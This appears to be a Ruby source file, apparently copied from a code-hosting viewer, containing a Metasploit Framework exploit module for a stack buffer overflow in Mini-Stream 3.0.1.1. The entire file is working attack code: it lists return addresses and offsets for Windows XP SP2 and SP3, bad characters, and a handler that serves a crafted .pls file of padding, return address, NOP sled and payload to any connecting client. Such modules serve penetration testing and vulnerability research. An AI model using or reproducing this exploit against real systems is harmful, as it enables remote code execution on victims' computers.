100 lines
2.4 KiB
Ruby
100 lines
2.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow Exploit',
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'Description' => %q{
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This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
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By creating a specially crafted pls file, an an attacker may be able
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to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'CORELAN Security Team ',
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'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '61341' ],
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[ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 3500,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
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'StackAdjustment' => -3500
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP3 ENG',
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{
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'Ret' => 0x7e429353, # 0x7e429353 JMP ESP - USER32.dll
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'Offset' => 17417
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}
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],
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[
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'Windows XP SP2 ENG',
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{
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'Ret' => 0x7c941eed, # 0x7c941eed JMP ESP - SHELL32.dll
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'Offset' => 17417
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => 'Dec 25 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('URIPATH', [ true, 'The URI to use for this exploit', 'msf.pls'])
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], self.class)
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end
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def on_request_uri(cli, request)
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# Calculate the correct offset
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host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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host << ":#{datastore['SRVPORT']}/"
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offset = target['Offset'] - host.length
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# Construct our buffer
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sploit = rand_text_alpha(offset)
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sploit << [target.ret].pack('V')
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sploit << make_nops(32)
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sploit << @p
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print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
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send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
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end
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def exploit
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@p = payload.encoded
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super
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end
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end
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